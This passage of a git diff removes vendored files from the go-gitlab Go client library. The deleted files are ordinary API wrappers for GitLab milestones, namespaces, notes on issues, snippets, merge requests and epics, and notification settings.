*Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/milestones/%d", pathEscape(project), milestone) - - req, err := s.client.NewRequest("PUT", u, opt, options) - if err != nil { - return nil, nil, err - } - - m := new(Milestone) - resp, err := s.client.Do(req, m) - if err != nil { - return nil, resp, err - } - - return m, resp, err -} - -// DeleteMilestone deletes a specified project milestone. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/milestones.html#delete-project-milestone -func (s *MilestonesService) DeleteMilestone(pid interface{}, milestone int, options ...RequestOptionFunc) (*Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, err - } - u := fmt.Sprintf("projects/%s/milestones/%d", pathEscape(project), milestone) - - req, err := s.client.NewRequest("DELETE", u, nil, options) - if err != nil { - return nil, err - } - return s.client.Do(req, nil) -} - -// GetMilestoneIssuesOptions represents the available GetMilestoneIssues() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/milestones.html#get-all-issues-assigned-to-a-single-milestone -type GetMilestoneIssuesOptions ListOptions - -// GetMilestoneIssues gets all issues assigned to a single project milestone. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/milestones.html#get-all-issues-assigned-to-a-single-milestone -func (s *MilestonesService) GetMilestoneIssues(pid interface{}, milestone int, opt *GetMilestoneIssuesOptions, options ...RequestOptionFunc) ([]*Issue, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/milestones/%d/issues", pathEscape(project), milestone) - - req, err := s.client.NewRequest("GET", u, opt, options) - if err != nil { - return nil, nil, err - } - - var i []*Issue - resp, err := s.client.Do(req, &i) - if err != nil { - return nil, resp, err - } - - return i, resp, err -} - -// GetMilestoneMergeRequestsOptions represents the available -// GetMilestoneMergeRequests() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/milestones.html#get-all-merge-requests-assigned-to-a-single-milestone -type GetMilestoneMergeRequestsOptions ListOptions - -// GetMilestoneMergeRequests gets all merge requests assigned to a single -// project milestone. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/milestones.html#get-all-merge-requests-assigned-to-a-single-milestone -func (s *MilestonesService) GetMilestoneMergeRequests(pid interface{}, milestone int, opt *GetMilestoneMergeRequestsOptions, options ...RequestOptionFunc) ([]*MergeRequest, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/milestones/%d/merge_requests", pathEscape(project), milestone) - - req, err := s.client.NewRequest("GET", u, opt, options) - if err != nil { - return nil, nil, err - } - - var mr []*MergeRequest - resp, err := s.client.Do(req, &mr) - if err != nil { - return nil, resp, err - } - - return mr, resp, err -} diff --git a/vendor/github.com/xanzy/go-gitlab/namespaces.go b/vendor/github.com/xanzy/go-gitlab/namespaces.go deleted file mode 100644 index 4e928804d7..0000000000 --- a/vendor/github.com/xanzy/go-gitlab/namespaces.go +++ /dev/null @@ -1,122 +0,0 @@ -// -// Copyright 2017, Sander van Harmelen -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. -// - -package gitlab - -import ( - "fmt" -) - -// NamespacesService handles communication with the namespace related methods -// of the GitLab API. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/namespaces.html -type NamespacesService struct { - client *Client -} - -// Namespace represents a GitLab namespace. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/namespaces.html -type Namespace struct { - ID int `json:"id"` - Name string `json:"name"` - Path string `json:"path"` - Kind string `json:"kind"` - FullPath string `json:"full_path"` - ParentID int `json:"parent_id"` - MembersCountWithDescendants int `json:"members_count_with_descendants"` -} - -func (n Namespace) String() string { - return Stringify(n) -} - -// ListNamespacesOptions represents the available ListNamespaces() options. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/namespaces.html#list-namespaces -type ListNamespacesOptions struct { - ListOptions - Search *string `url:"search,omitempty" json:"search,omitempty"` -} - -// ListNamespaces gets a list of projects accessible by the authenticated user. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/namespaces.html#list-namespaces -func (s *NamespacesService) ListNamespaces(opt *ListNamespacesOptions, options ...RequestOptionFunc) ([]*Namespace, *Response, error) { - req, err := s.client.NewRequest("GET", "namespaces", opt, options) - if err != nil { - return nil, nil, err - } - - var n []*Namespace - resp, err := s.client.Do(req, &n) - if err != nil { - return nil, resp, err - } - - return n, resp, err -} - -// SearchNamespace gets all namespaces that match your string in their name -// or path. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/namespaces.html#search-for-namespace -func (s *NamespacesService) SearchNamespace(query string, options ...RequestOptionFunc) ([]*Namespace, *Response, error) { - var q struct { - Search string `url:"search,omitempty" json:"search,omitempty"` - } - q.Search = query - - req, err := s.client.NewRequest("GET", "namespaces", &q, options) - if err != nil { - return nil, nil, err - } - - var n []*Namespace - resp, err := s.client.Do(req, &n) - if err != nil { - return nil, resp, err - } - - return n, resp, err -} - -// GetNamespace gets a namespace by id. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/namespaces.html#get-namespace-by-id -func (s *NamespacesService) GetNamespace(id interface{}, options ...RequestOptionFunc) (*Namespace, *Response, error) { - namespace, err := parseID(id) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("namespaces/%s", namespace) - - req, err := s.client.NewRequest("GET", u, nil, options) - if err != nil { - return nil, nil, err - } - - n := new(Namespace) - resp, err := s.client.Do(req, n) - if err != nil { - return nil, resp, err - } - - return n, resp, err -} diff --git a/vendor/github.com/xanzy/go-gitlab/notes.go b/vendor/github.com/xanzy/go-gitlab/notes.go deleted file mode 100644 index b8d599e4cd..0000000000 --- a/vendor/github.com/xanzy/go-gitlab/notes.go +++ /dev/null @@ -1,678 +0,0 @@ -// -// Copyright 2017, Sander van Harmelen -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. -// - -package gitlab - -import ( - "fmt" - "time" -) - -// NotesService handles communication with the notes related methods -// of the GitLab API. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/notes.html -type NotesService struct { - client *Client -} - -// Note represents a GitLab note. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/notes.html -type Note struct { - ID int `json:"id"` - Body string `json:"body"` - Attachment string `json:"attachment"` - Title string `json:"title"` - FileName string `json:"file_name"` - Author struct { - ID int `json:"id"` - Username string `json:"username"` - Email string `json:"email"` - Name string `json:"name"` - State string `json:"state"` - AvatarURL string `json:"avatar_url"` - WebURL string `json:"web_url"` - } `json:"author"` - System bool `json:"system"` - ExpiresAt *time.Time `json:"expires_at"` - UpdatedAt *time.Time `json:"updated_at"` - CreatedAt *time.Time `json:"created_at"` - NoteableID int `json:"noteable_id"` - NoteableType string `json:"noteable_type"` - Position *NotePosition `json:"position"` - Resolvable bool `json:"resolvable"` - Resolved bool `json:"resolved"` - ResolvedBy struct { - ID int `json:"id"` - Username string `json:"username"` - Email string `json:"email"` - Name string `json:"name"` - State string `json:"state"` - AvatarURL string `json:"avatar_url"` - WebURL string `json:"web_url"` - } `json:"resolved_by"` - NoteableIID int `json:"noteable_iid"` -} - -// NotePosition represents the position attributes of a note. -type NotePosition struct { - BaseSHA string `json:"base_sha"` - StartSHA string `json:"start_sha"` - HeadSHA string `json:"head_sha"` - PositionType string `json:"position_type"` - NewPath string `json:"new_path,omitempty"` - NewLine int `json:"new_line,omitempty"` - OldPath string `json:"old_path,omitempty"` - OldLine int `json:"old_line,omitempty"` - Width int `json:"width,omitempty"` - Height int `json:"height,omitempty"` - X int `json:"x,omitempty"` - Y int `json:"y,omitempty"` -} - -func (n Note) String() string { - return Stringify(n) -} - -// ListIssueNotesOptions represents the available ListIssueNotes() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/notes.html#list-project-issue-notes -type ListIssueNotesOptions struct { - ListOptions - OrderBy *string `url:"order_by,omitempty" json:"order_by,omitempty"` - Sort *string `url:"sort,omitempty" json:"sort,omitempty"` -} - -// ListIssueNotes gets a list of all notes for a single issue. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/notes.html#list-project-issue-notes -func (s *NotesService) ListIssueNotes(pid interface{}, issue int, opt *ListIssueNotesOptions, options ...RequestOptionFunc) ([]*Note, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/issues/%d/notes", pathEscape(project), issue) - - req, err := s.client.NewRequest("GET", u, opt, options) - if err != nil { - return nil, nil, err - } - - var n []*Note - resp, err := s.client.Do(req, &n) - if err != nil { - return nil, resp, err - } - - return n, resp, err -} - -// GetIssueNote returns a single note for a specific project issue. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/notes.html#get-single-issue-note -func (s *NotesService) GetIssueNote(pid interface{}, issue, note int, options ...RequestOptionFunc) (*Note, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/issues/%d/notes/%d", pathEscape(project), issue, note) - - req, err := s.client.NewRequest("GET", u, nil, options) - if err != nil { - return nil, nil, err - } - - n := new(Note) - resp, err := s.client.Do(req, n) - if err != nil { - return nil, resp, err - } - - return n, resp, err -} - -// CreateIssueNoteOptions represents the available CreateIssueNote() -// options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/notes.html#create-new-issue-note -type CreateIssueNoteOptions struct { - Body *string `url:"body,omitempty" json:"body,omitempty"` - CreatedAt *time.Time `url:"created_at,omitempty" json:"created_at,omitempty"` -} - -// CreateIssueNote creates a new note to a single project issue. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/notes.html#create-new-issue-note -func (s *NotesService) CreateIssueNote(pid interface{}, issue int, opt *CreateIssueNoteOptions, options ...RequestOptionFunc) (*Note, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/issues/%d/notes", pathEscape(project), issue) - - req, err := s.client.NewRequest("POST", u, opt, options) - if err != nil { - return nil, nil, err - } - - n := new(Note) - resp, err := s.client.Do(req, n) - if err != nil { - return nil, resp, err - } - - return n, resp, err -} - -// UpdateIssueNoteOptions represents the available UpdateIssueNote() -// options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/notes.html#modify-existing-issue-note -type UpdateIssueNoteOptions struct { - Body *string `url:"body,omitempty" json:"body,omitempty"` -} - -// UpdateIssueNote modifies existing note of an issue. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/notes.html#modify-existing-issue-note -func (s *NotesService) UpdateIssueNote(pid interface{}, issue, note int, opt *UpdateIssueNoteOptions, options ...RequestOptionFunc) (*Note, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/issues/%d/notes/%d", pathEscape(project), issue, note) - - req, err := s.client.NewRequest("PUT", u, opt, options) - if err != nil { - return nil, nil, err - } - - n := new(Note) - resp, err := s.client.Do(req, n) - if err != nil { - return nil, resp, err - } - - return n, resp, err -} - -// DeleteIssueNote deletes an existing note of an issue. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/notes.html#delete-an-issue-note -func (s *NotesService) DeleteIssueNote(pid interface{}, issue, note int, options ...RequestOptionFunc) (*Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, err - } - u := fmt.Sprintf("projects/%s/issues/%d/notes/%d", pathEscape(project), issue, note) - - req, err := s.client.NewRequest("DELETE", u, nil, options) - if err != nil { - return nil, err - } - - return s.client.Do(req, nil) -} - -// ListSnippetNotesOptions represents the available ListSnippetNotes() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/notes.html#list-all-snippet-notes -type ListSnippetNotesOptions struct { - ListOptions - OrderBy *string `url:"order_by,omitempty" json:"order_by,omitempty"` - Sort *string `url:"sort,omitempty" json:"sort,omitempty"` -} - -// ListSnippetNotes gets a list of all notes for a single snippet. Snippet -// notes are comments users can post to a snippet. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/notes.html#list-all-snippet-notes -func (s *NotesService) ListSnippetNotes(pid interface{}, snippet int, opt *ListSnippetNotesOptions, options ...RequestOptionFunc) ([]*Note, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/snippets/%d/notes", pathEscape(project), snippet) - - req, err := s.client.NewRequest("GET", u, opt, options) - if err != nil { - return nil, nil, err - } - - var n []*Note - resp, err := s.client.Do(req, &n) - if err != nil { - return nil, resp, err - } - - return n, resp, err -} - -// GetSnippetNote returns a single note for a given snippet. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/notes.html#get-single-snippet-note -func (s *NotesService) GetSnippetNote(pid interface{}, snippet, note int, options ...RequestOptionFunc) (*Note, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/snippets/%d/notes/%d", pathEscape(project), snippet, note) - - req, err := s.client.NewRequest("GET", u, nil, options) - if err != nil { - return nil, nil, err - } - - n := new(Note) - resp, err := s.client.Do(req, n) - if err != nil { - return nil, resp, err - } - - return n, resp, err -} - -// CreateSnippetNoteOptions represents the available CreateSnippetNote() -// options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/notes.html#create-new-snippet-note -type CreateSnippetNoteOptions struct { - Body *string `url:"body,omitempty" json:"body,omitempty"` -} - -// CreateSnippetNote creates a new note for a single snippet. Snippet notes are -// comments users can post to a snippet. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/notes.html#create-new-snippet-note -func (s *NotesService) CreateSnippetNote(pid interface{}, snippet int, opt *CreateSnippetNoteOptions, options ...RequestOptionFunc) (*Note, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/snippets/%d/notes", pathEscape(project), snippet) - - req, err := s.client.NewRequest("POST", u, opt, options) - if err != nil { - return nil, nil, err - } - - n := new(Note) - resp, err := s.client.Do(req, n) - if err != nil { - return nil, resp, err - } - - return n, resp, err -} - -// UpdateSnippetNoteOptions represents the available UpdateSnippetNote() -// options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/notes.html#modify-existing-snippet-note -type UpdateSnippetNoteOptions struct { - Body *string `url:"body,omitempty" json:"body,omitempty"` -} - -// UpdateSnippetNote modifies existing note of a snippet. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/notes.html#modify-existing-snippet-note -func (s *NotesService) UpdateSnippetNote(pid interface{}, snippet, note int, opt *UpdateSnippetNoteOptions, options ...RequestOptionFunc) (*Note, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/snippets/%d/notes/%d", pathEscape(project), snippet, note) - - req, err := s.client.NewRequest("PUT", u, opt, options) - if err != nil { - return nil, nil, err - } - - n := new(Note) - resp, err := s.client.Do(req, n) - if err != nil { - return nil, resp, err - } - - return n, resp, err -} - -// DeleteSnippetNote deletes an existing note of a snippet. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/notes.html#delete-a-snippet-note -func (s *NotesService) DeleteSnippetNote(pid interface{}, snippet, note int, options ...RequestOptionFunc) (*Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, err - } - u := fmt.Sprintf("projects/%s/snippets/%d/notes/%d", pathEscape(project), snippet, note) - - req, err := s.client.NewRequest("DELETE", u, nil, options) - if err != nil { - return nil, err - } - - return s.client.Do(req, nil) -} - -// ListMergeRequestNotesOptions represents the available ListMergeRequestNotes() -// options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/notes.html#list-all-merge-request-notes -type ListMergeRequestNotesOptions struct { - ListOptions - OrderBy *string `url:"order_by,omitempty" json:"order_by,omitempty"` - Sort *string `url:"sort,omitempty" json:"sort,omitempty"` -} - -// ListMergeRequestNotes gets a list of all notes for a single merge request. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/notes.html#list-all-merge-request-notes -func (s *NotesService) ListMergeRequestNotes(pid interface{}, mergeRequest int, opt *ListMergeRequestNotesOptions, options ...RequestOptionFunc) ([]*Note, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/merge_requests/%d/notes", pathEscape(project), mergeRequest) - - req, err := s.client.NewRequest("GET", u, opt, options) - if err != nil { - return nil, nil, err - } - - var n []*Note - resp, err := s.client.Do(req, &n) - if err != nil { - return nil, resp, err - } - - return n, resp, err -} - -// GetMergeRequestNote returns a single note for a given merge request. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/notes.html#get-single-merge-request-note -func (s *NotesService) GetMergeRequestNote(pid interface{}, mergeRequest, note int, options ...RequestOptionFunc) (*Note, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/merge_requests/%d/notes/%d", pathEscape(project), mergeRequest, note) - - req, err := s.client.NewRequest("GET", u, nil, options) - if err != nil { - return nil, nil, err - } - - n := new(Note) - resp, err := s.client.Do(req, n) - if err != nil { - return nil, resp, err - } - - return n, resp, err -} - -// CreateMergeRequestNoteOptions represents the available -// CreateMergeRequestNote() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/notes.html#create-new-merge-request-note -type CreateMergeRequestNoteOptions struct { - Body *string `url:"body,omitempty" json:"body,omitempty"` -} - -// CreateMergeRequestNote creates a new note for a single merge request. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/notes.html#create-new-merge-request-note -func (s *NotesService) CreateMergeRequestNote(pid interface{}, mergeRequest int, opt *CreateMergeRequestNoteOptions, options ...RequestOptionFunc) (*Note, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/merge_requests/%d/notes", pathEscape(project), mergeRequest) - - req, err := s.client.NewRequest("POST", u, opt, options) - if err != nil { - return nil, nil, err - } - - n := new(Note) - resp, err := s.client.Do(req, n) - if err != nil { - return nil, resp, err - } - - return n, resp, err -} - -// UpdateMergeRequestNoteOptions represents the available -// UpdateMergeRequestNote() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/notes.html#modify-existing-merge-request-note -type UpdateMergeRequestNoteOptions struct { - Body *string `url:"body,omitempty" json:"body,omitempty"` -} - -// UpdateMergeRequestNote modifies existing note of a merge request. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/notes.html#modify-existing-merge-request-note -func (s *NotesService) UpdateMergeRequestNote(pid interface{}, mergeRequest, note int, opt *UpdateMergeRequestNoteOptions, options ...RequestOptionFunc) (*Note, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf( - "projects/%s/merge_requests/%d/notes/%d", pathEscape(project), mergeRequest, note) - req, err := s.client.NewRequest("PUT", u, opt, options) - if err != nil { - return nil, nil, err - } - - n := new(Note) - resp, err := s.client.Do(req, n) - if err != nil { - return nil, resp, err - } - - return n, resp, err -} - -// DeleteMergeRequestNote deletes an existing note of a merge request. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/notes.html#delete-a-merge-request-note -func (s *NotesService) DeleteMergeRequestNote(pid interface{}, mergeRequest, note int, options ...RequestOptionFunc) (*Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, err - } - u := fmt.Sprintf( - "projects/%s/merge_requests/%d/notes/%d", pathEscape(project), mergeRequest, note) - - req, err := s.client.NewRequest("DELETE", u, nil, options) - if err != nil { - return nil, err - } - - return s.client.Do(req, nil) -} - -// ListEpicNotesOptions represents the available ListEpicNotes() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/notes.html#list-all-epic-notes -type ListEpicNotesOptions struct { - ListOptions - OrderBy *string `url:"order_by,omitempty" json:"order_by,omitempty"` - Sort *string `url:"sort,omitempty" json:"sort,omitempty"` -} - -// ListEpicNotes gets a list of all notes for a single epic. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/notes.html#list-all-epic-notes -func (s *NotesService) ListEpicNotes(gid interface{}, epic int, opt *ListEpicNotesOptions, options ...RequestOptionFunc) ([]*Note, *Response, error) { - group, err := parseID(gid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("groups/%s/epics/%d/notes", pathEscape(group), epic) - - req, err := s.client.NewRequest("GET", u, opt, options) - if err != nil { - return nil, nil, err - } - - var n []*Note - resp, err := s.client.Do(req, &n) - if err != nil { - return nil, resp, err - } - - return n, resp, err -} - -// GetEpicNote returns a single note for an epic. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/notes.html#get-single-epic-note -func (s *NotesService) GetEpicNote(gid interface{}, epic, note int, options ...RequestOptionFunc) (*Note, *Response, error) { - group, err := parseID(gid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("groups/%s/epics/%d/notes/%d", pathEscape(group), epic, note) - - req, err := s.client.NewRequest("GET", u, nil, options) - if err != nil { - return nil, nil, err - } - - n := new(Note) - resp, err := s.client.Do(req, n) - if err != nil { - return nil, resp, err - } - - return n, resp, err -} - -// CreateEpicNoteOptions represents the available CreateEpicNote() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/notes.html#create-new-epic-note -type CreateEpicNoteOptions struct { - Body *string `url:"body,omitempty" json:"body,omitempty"` -} - -// CreateEpicNote creates a new note for a single merge request. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/notes.html#create-new-epic-note -func (s *NotesService) CreateEpicNote(gid interface{}, epic int, opt *CreateEpicNoteOptions, options ...RequestOptionFunc) (*Note, *Response, error) { - group, err := parseID(gid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("groups/%s/epics/%d/notes", pathEscape(group), epic) - - req, err := s.client.NewRequest("POST", u, opt, options) - if err != nil { - return nil, nil, err - } - - n := new(Note) - resp, err := s.client.Do(req, n) - if err != nil { - return nil, resp, err - } - - return n, resp, err -} - -// UpdateEpicNoteOptions represents the available UpdateEpicNote() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/notes.html#modify-existing-epic-note -type UpdateEpicNoteOptions struct { - Body *string `url:"body,omitempty" json:"body,omitempty"` -} - -// UpdateEpicNote modifies existing note of an epic. -// -// https://docs.gitlab.com/ee/api/notes.html#modify-existing-epic-note -func (s *NotesService) UpdateEpicNote(gid interface{}, epic, note int, opt *UpdateEpicNoteOptions, options ...RequestOptionFunc) (*Note, *Response, error) { - group, err := parseID(gid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("groups/%s/epics/%d/notes/%d", pathEscape(group), epic, note) - - req, err := s.client.NewRequest("PUT", u, opt, options) - if err != nil { - return nil, nil, err - } - - n := new(Note) - resp, err := s.client.Do(req, n) - if err != nil { - return nil, resp, err - } - - return n, resp, err -} - -// DeleteEpicNote deletes an existing note of a merge request. -// -// https://docs.gitlab.com/ee/api/notes.html#delete-an-epic-note -func (s *NotesService) DeleteEpicNote(gid interface{}, epic, note int, options ...RequestOptionFunc) (*Response, error) { - group, err := parseID(gid) - if err != nil { - return nil, err - } - u := fmt.Sprintf("groups/%s/epics/%d/notes/%d", pathEscape(group), epic, note) - - req, err := s.client.NewRequest("DELETE", u, nil, options) - if err != nil { - return nil, err - } - - return s.client.Do(req, nil) -} diff --git a/vendor/github.com/xanzy/go-gitlab/notifications.go b/vendor/github.com/xanzy/go-gitlab/notifications.go deleted file mode 100644 index 70c8cb75b4..0000000000 --- a/vendor/github.com/xanzy/go-gitlab/notifications.go +++ /dev/null @@ -1,213 +0,0 @@ -package gitlab - -import ( - "errors" - "fmt" -) - -// NotificationSettingsService handles communication with the notification settings -// related methods of the GitLab API. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/notification_settings.html -type NotificationSettingsService struct { - client *Client -} - -// NotificationSettings represents the Gitlab notification setting. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/notification_settings.html#notification-settings -type NotificationSettings struct { - Level NotificationLevelValue `json:"level"` - NotificationEmail string `json:"notification_email"` - Events *NotificationEvents `json:"events"` -} - -// NotificationEvents represents the available notification setting events. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/notification_settings.html#notification-settings -type NotificationEvents struct { - CloseIssue bool `json:"close_issue"` - CloseMergeRequest bool `json:"close_merge_request"` - FailedPipeline bool `json:"failed_pipeline"` - MergeMergeRequest bool `json:"merge_merge_request"` - NewIssue bool `json:"new_issue"` - NewMergeRequest bool `json:"new_merge_request"` - NewNote bool `json:"new_note"` - ReassignIssue bool `json:"reassign_issue"` - ReassignMergeRequest bool `json:"reassign_merge_request"` - ReopenIssue bool `json:"reopen_issue"` - ReopenMergeRequest bool `json:"reopen_merge_request"` - SuccessPipeline bool `json:"success_pipeline"` -} - -func (ns NotificationSettings) String() string { - return Stringify(ns) -} - -// GetGlobalSettings returns current notification settings and email address. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/notification_settings.html#global-notification-settings -func (s *NotificationSettingsService) GetGlobalSettings(options ...RequestOptionFunc) (*NotificationSettings, *Response, error) { - u := "notification_settings" - - req, err := s.client.NewRequest("GET", u, nil, options) - if err != nil { - return nil, nil, err - } - - ns := new(NotificationSettings) - resp, err := s.client.Do(req, ns) - if err != nil { - return nil, resp, err - } - - return ns, resp, err -} - -// NotificationSettingsOptions represents the available options that can be passed -// to the API when updating the notification settings. -type NotificationSettingsOptions struct { - Level *NotificationLevelValue `url:"level,omitempty" json:"level,omitempty"` - NotificationEmail *string `url:"notification_email,omitempty" json:"notification_email,omitempty"` - CloseIssue *bool `url:"close_issue,omitempty" json:"close_issue,omitempty"` - CloseMergeRequest *bool `url:"close_merge_request,omitempty" json:"close_merge_request,omitempty"` - FailedPipeline *bool `url:"failed_pipeline,omitempty" json:"failed_pipeline,omitempty"` - MergeMergeRequest *bool `url:"merge_merge_request,omitempty" json:"merge_merge_request,omitempty"` - NewIssue *bool `url:"new_issue,omitempty" json:"new_issue,omitempty"` - NewMergeRequest *bool `url:"new_merge_request,omitempty" json:"new_merge_request,omitempty"` - NewNote *bool `url:"new_note,omitempty" json:"new_note,omitempty"` - ReassignIssue *bool `url:"reassign_issue,omitempty" json:"reassign_issue,omitempty"` - ReassignMergeRequest *bool `url:"reassign_merge_request,omitempty" json:"reassign_merge_request,omitempty"` - ReopenIssue *bool `url:"reopen_issue,omitempty" json:"reopen_issue,omitempty"` - ReopenMergeRequest *bool `url:"reopen_merge_request,omitempty" json:"reopen_merge_request,omitempty"` - SuccessPipeline *bool `url:"success_pipeline,omitempty" json:"success_pipeline,omitempty"` -} - -// UpdateGlobalSettings updates current notification settings and email address. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/notification_settings.html#update-global-notification-settings -func (s *NotificationSettingsService) UpdateGlobalSettings(opt *NotificationSettingsOptions, options ...RequestOptionFunc) (*NotificationSettings, *Response, error) { - if opt.Level != nil && *opt.Level == GlobalNotificationLevel { - return nil, nil, errors.New( - "notification level 'global' is not valid for global notification settings") - } - - u := "notification_settings" - - req, err := s.client.NewRequest("PUT", u, opt, options) - if err != nil { - return nil, nil, err - } - - ns := new(NotificationSettings) - resp, err := s.client.Do(req, ns) - if err != nil { - return nil, resp, err - } - - return ns, resp, err -} - -// GetSettingsForGroup returns current group notification settings. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/notification_settings.html#group-project-level-notification-settings -func (s *NotificationSettingsService) GetSettingsForGroup(gid interface{}, options ...RequestOptionFunc) (*NotificationSettings, *Response, error) { - group, err := parseID(gid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("groups/%s/notification_settings", pathEscape(group)) - - req, err := s.client.NewRequest("GET", u, nil, options) - if err != nil { - return nil, nil, err - } - - ns := new(NotificationSettings) - resp, err := s.client.Do(req, ns) - if err != nil { - return nil, resp, err - } - - return ns, resp, err -} - -// GetSettingsForProject returns current project notification settings. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/notification_settings.html#group-project-level-notification-settings -func (s *NotificationSettingsService) GetSettingsForProject(pid interface{}, options ...RequestOptionFunc) (*NotificationSettings, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/notification_settings", pathEscape(project)) - - req, err := s.client.NewRequest("GET", u, nil, options) - if err != nil { - return nil, nil, err - } - - ns := new(NotificationSettings) - resp, err := s.client.Do(req, ns) - if err != nil { - return nil, resp, err - } - - return ns, resp, err -} - -// UpdateSettingsForGroup updates current group notification settings. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/notification_settings.html#update-group-project-level-notification-settings -func (s *NotificationSettingsService) UpdateSettingsForGroup(gid interface{}, opt *NotificationSettingsOptions, options ...RequestOptionFunc) (*NotificationSettings, *Response, error) { - group, err := parseID(gid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("groups/%s/notification_settings", pathEscape(group)) - - req, err := s.client.NewRequest("PUT", u, opt, options) - if err != nil { - return nil, nil, err - } - - ns := new(NotificationSettings) - resp, err := s.client.Do(req, ns) - if err != nil { - return nil, resp, err - } - - return ns, resp, err -} - -// UpdateSettingsForProject updates current project notification settings. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/notification_settings.html#update-group-project-level-notification-settings -func (s *NotificationSettingsService) 